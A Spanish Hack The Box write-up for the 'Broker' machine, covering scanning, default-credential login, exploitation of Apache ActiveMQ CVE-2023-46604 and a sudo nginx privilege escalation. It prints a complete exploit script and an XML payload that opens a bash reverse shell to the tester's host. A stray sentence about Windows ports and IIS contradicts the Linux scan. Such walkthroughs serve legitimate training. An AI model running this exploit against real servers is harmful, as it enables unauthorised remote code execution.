1- Reconocimiento y escaneo
1.1 Ping
Copiar PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data.
64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=171 ms
--- 10.10.11.243 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.846/170.846/170.846/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
Copiar TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.243 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 02:44 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:44
Completed NSE at 02:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 02:44
Completed Parallel DNS resolution of 1 host. at 02:44, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:44
Scanning 10.10.11.243 [65535 ports]
Discovered open port 80/tcp on 10.10.11.243
Discovered open port 22/tcp on 10.10.11.243
Discovered open port 61614/tcp on 10.10.11.243
Discovered open port 61613/tcp on 10.10.11.243
Discovered open port 8161/tcp on 10.10.11.243
Discovered open port 8161/tcp on 10.10.11.243
Discovered open port 5672/tcp on 10.10.11.243
Discovered open port 43525/tcp on 10.10.11.243
Discovered open port 1883/tcp on 10.10.11.243
Discovered open port 61616/tcp on 10.10.11.243
Completed SYN Stealth Scan at 02:44, 19.63s elapsed (65535 total ports)
Initiating Service scan at 02:44
Scanning 9 services on 10.10.11.243
Completed Service scan at 02:44, 33.43s elapsed (9 services on 1 host)
NSE: Script scanning 10.10.11.243.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:44
Completed NSE at 02:45, 8.87s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.79s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.01s elapsed
Nmap scan report for 10.10.11.243
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-04 02:44:03 -03 for 63s
Not shown: 65525 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt syn-ack ttl 63
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/Consumer/Topic/#:
|_ ActiveMQ/Advisory/MasterBroker:
5672/tcp open amqp? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Error 401 Unauthorized
43525/tcp open tcpwrapped syn-ack ttl 63
61613/tcp open stomp syn-ack ttl 63 Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http syn-ack ttl 63 Jetty 9.4.39.v20210325
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-title: Site doesn't have a title.
61616/tcp open apachemq syn-ack ttl 63 ActiveMQ OpenWire transport 5.15.15
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.95%I=7%D=3/4%Time=67C69342%P=x86_64-pc-linux-gnu%r(Get
SF:Request,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\x
SF:c0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\
SF:0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20clie
SF:nt\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89,"AMQ
SF:P\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\
SF:0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02
SF:\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x20
SF:unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\0\0AM
SF:QP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\
SF:x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:de
SF:code-error\xa17Connection\x20from\x20client\x20using\x20unsupported\x20
SF:AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0
SF:\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02
SF:\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Con
SF:nection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted"
SF:)%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x
SF:02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0
SF:\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connectio
SF:n\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(DN
SF:SStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\
SF:0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18
SF:\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20fr
SF:om\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLSessio
SF:nReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\
SF:x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\
SF:x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\
SF:x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCookie,8
SF:9,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x0
SF:4\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc
SF:0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20usi
SF:ng\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.95%I=7%D=3/4%Time=67C6933D%P=x86_64-pc-linux-gnu%r(HE
SF:LP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOMP\
SF:x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protocol
SF:Exception:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.apache\
SF:.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Protoco
SF:lConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.stomp
SF:\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)\n\ta
SF:t\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume\(Tra
SF:nsportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport\.tcp
SF:\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apache\.a
SF:ctivemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215\)\n\
SF:tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:45
Completed NSE at 02:45, 0.01s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.25 seconds
Raw packets sent: 96520 (4.247MB) | Rcvd: 73375 (2.935MB)
Se ven puertos comunes de Windows, como el 135, 139, y el 445(SMB), ademas del puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 10.0)
1.3 whatweb
Copiar http://10.10.11.243 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.243], PoweredBy[Jetty://], Title[Error 401 Unauthorized], WWW-Authenticate[ActiveMQRealm][basic], nginx[1.18.0]
Tenemos tecnologías web como:
Vamos a ingresar al sitio web alojado en el puerto 80:
Tenemos un panel de login, vamos a probar las credenciales de siempre que suelen tener estos paneles de login comunes en IoT, pero en este caso es un Apache ActiveMQ, un BROKER de mensajería de código abierto, de ahí el nombre de la maquina, "admin/admin"
:
Nos ingresa correctamente y si vamos a la sección de "Home", podemos ver la siguiente información:
Copiar Name localhost
Version 5.15.15
ID ID:broker-34617-1741067003093-0:1
Uptime 44 minutes
Store percent used 0
Memory percent used 0
Temp percent used 0
2- Explotación
2.1 Searchsploit
Vamos a buscar con la herramienta de searchsploit algún exploit de ActiveMQ:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# searchsploit activemq
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
ActiveMQ < 5.14.0 - Web Shell Upload (Metasploit) | java/remote/42283.rb
Apache ActiveMQ 5.11.1/5.13.2 - Directory Traversal / Command Execution | windows/remote/40857.txt
Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure | multiple/remote/33868.txt
Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting | multiple/remote/33905.txt
Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit) | windows/remote/48181.rb
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─#
Hay exploits para la versión 5.14.0 de ActiveMQ, o tenemos el Path Traversal para la versión 5.x de ActiveMQ
2.2 CVE-2023-46604
Investigando en internet me di cuenta que la versión 5.15.15 de ActiveMQ tiene vulnerabilidades publicas y encontré un CVE correspondiente al mismo servicio "CVE-2023-46604"
por lo que nos quedaría realizar una búsqueda en GitHub si encontramos algún exploit correspondiente al CVE, en mi caso encontré el siguiente repositorio que contiene un PoC para el CVE:
Repositorio de GitHub
Créditos al creador del repositorio
exploit.py
:
Copiar import socket
import argparse
def main(ip, port, url):
if not ip or not url:
print("Usage: script.py -i <ip> -p <port> -u <url>")
return
banner()
class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
message = url
header = "1f00000000000000000001"
body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
payload = int2hex(len(body) // 2, 8) + body
data = bytes.fromhex(payload)
print("[*] Target:", f"{ip}:{port}")
print("[*] XML URL:", url)
print()
print("[*] Sending packet:", payload)
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((ip, int(port)))
conn.send(data)
conn.close()
def banner():
print(" _ _ _ __ __ ___ ____ ____ _____ \n / \\ ___| |_(_)_ _____| \\/ |/ _ \\ | _ \\ / ___| ____|\n / _ \\ / __| __| \\ \\ / / _ \\ |\\/| | | | |_____| |_) | | | _| \n / ___ \\ (__| |_| |\\ V / __/ | | | |_| |_____| _ <| |___| |___ \n /_/ \\_\\___|\\__|_| \\_/ \\___|_| |_|\\__\\_\\ |_| \\_\\\\____|_____|\n")
def string2hex(s):
return s.encode().hex()
def int2hex(i, n):
if n == 4:
return format(i, '04x')
elif n == 8:
return format(i, '08x')
else:
raise ValueError("n must be 4 or 8")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", help="ActiveMQ Server IP or Host")
parser.add_argument("-p", "--port", default="61616", help="ActiveMQ Server Port")
parser.add_argument("-u", "--url", help="Spring XML Url")
args = parser.parse_args()
main(args.ip, args.port, args.url)
poc.xml
:
Copiar <?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.10.10/9001 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Vamos a bajarnos el repositorio con git clone
y a irnos dentro de la carpeta del repositorio descargado:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# git clone https://github.com/evkl1d/CVE-2023-46604.git
Clonando en 'CVE-2023-46604'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 22 (delta 5), reused 13 (delta 3), pack-reused 0 (from 0)
Recibiendo objetos: 100% (22/22), 5.10 KiB | 248.00 KiB/s, listo.
Resolviendo deltas: 100% (5/5), listo.
┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# cd CVE-2023-46604
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# ls
exploit.py poc.xml README.md
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─#
Antes de ejecutar el script en Python, vamos a ver que contiene el archivo "poc.xml"
:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# cat poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.10.10/9001 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─#
En la tercera linea de las etiquetas "<value>" tenemos que modificar la IP de nuestra VPN de Hack The Box y el puerto, en mi caso 443:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# nvim poc.xml
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# cat poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.12/443 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─#
Ahora vamos a ver los parámetros que tenemos que pasarle al script en Python con la flag de -h:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# python3 exploit.py -h
usage: exploit.py [-h] [-i IP] [-p PORT] [-u URL]
options:
-h, --help show this help message and exit
-i, --ip IP ActiveMQ Server IP or Host
-p, --port PORT ActiveMQ Server Port
-u, --url URL Spring XML Url
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─#
Como podemos ver, tenemos que pasarle como parametro el archivo XML que acabamos de editar dentro de una pagina web, asi que vamos a abrir una consola de Kali y vamos a alojar un servidor web en Python donde tengamos el archivo "poc.xml":
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
No olvidemos en una consola nueva de Kali, ponernos en escucha con netcat por el puerto 443:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# nc -nlvp 443
listening on [any] 443 ...
Y ahora vamos a ejecutar el script especificando los siguientes parámetros:
Copiar -i [IP Maquina HTB, ActiveMQ]
-u [URL donde alojamos el servidor web en Python con el recurso "poc.xml"]
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# python3 exploit.py -i 10.10.11.243 -u http://10.10.14.12/poc.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.12/poc.xml
[*] Sending packet: 0000006d1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001a687474703a2f2f31302e31302e31342e31322f706f632e786d6c
┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─#
Y ahora vamos a revisar en la consola donde teniamos netcat en escucha por el puerto 443 si recibimos la reverse shell:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.243] 50776
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$
2.3 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "/home/activemq/user.txt"
:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /home/activemq/user.txt
cat /home/activemq/user.txt
cdb1c05201c76c62b9279b25e16c6d9e
activemq@broker:/opt/apache-activemq-5.15.15/bin$
2.4 Tratamiento de la TTY
Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash"
:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$
CTRL + Z:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended nc -nlvp 443
┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─#
Y vamos a ejecutar el siguiente comando:
Ejecutamos:
Copiar ┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# stty raw -echo; fg
[1] + continued nc -nlvp 443
Y ahora ejecutamos:
Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$
Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ export SHELL=bash
activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$
Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL"
o "echo $TERM"
:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ echo $SHELL
bash
activemq@broker:/opt/apache-activemq-5.15.15/bin$ echo $TERM
xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
3- Escalado de privilegios
3.1 sudo -l
Siempre que queramos escalar privilegios, es importante saber que podemos hacer con el usuario de la reverse shell que obtuvimos, en este caso para saber eso, utilizaremos el comando "sudo -l"
:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:/opt/apache-activemq-5.15.15/bin$
Podemos ejecutar el binario "nginx"
de la ruta absoluta "/opt/sbin/nginx"
con permisos de root
3.2 nginx.conf
Dentro de nginx, existe un archivo llamado "nginx.conf" que contiene la configuración de nginx, este archivo se encuentra dentro de la ruta "/etc/nginx/nginx.conf"
Vamos a alterar este archivo reemplazándolo por otro que contenga un código que nos permita elevar privilegios como root, para eso vamos a ubicarnos primero dentro de la carpeta "/tmp"
:
Copiar activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd /tmp
activemq@broker:/tmp$
Crearemos el archivo "pwned.conf"
con "touch"
:
Copiar activemq@broker:/tmp$ touch pwned.conf
activemq@broker:/tmp$
Y dentro de este archivo, vamos a almacenar el siguiente código con el editor de texto "nano"
:
Copiar user root;
events {
worker_connections 1024;
}
http {
server {
listen 1337;
root /;
autoindex on;
}
}
Con esta configuración le estamos diciendo que nos levante el servicio "nginx" como si fuésemos usuarios root, y que nos aloje dentro del servicio, el directorio personal de root donde se encuentra la flag de root, por el puerto 1337
Copiar activemq@broker:/tmp$ nano pwned.conf
activemq@broker:/tmp$ cat pwned.conf
user root;
events {
worker_connections 1024;
}
http {
server {
listen 1337;
root /;
autoindex on;
}
}
activemq@broker:/tmp$
Y ahora vamos a ejecutar nginx, que si recordamos se encontraba dentro de la ruta absoluta "/usr/sbin/nginx"
pasandole como parámetro el archivo de configuración "pwned.conf"
:
(Recordar ejecutarlo con sudo al principio del comando)
Copiar activemq@broker:/tmp$ sudo /usr/sbin/nginx -c /tmp/pwned.conf
activemq@broker:/tmp$
Ya tendremos nginx corriendo por el "localhost"
por el puerto "1337"
3.3 Obtención de la flag root
Ahora, vamos a obtener la flag de root haciendole un curl a "localhost" por el puerto "1337" con el recurso "/root/root.txt", que es donde se encuentra la flag de root:
Copiar activemq@broker:/tmp$ curl localhost:1337/root/root.txt
3436dd0638c0439912f734ac89ebfcce
activemq@broker:/tmp$
Con esto, concluimos la maquina "Broker" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales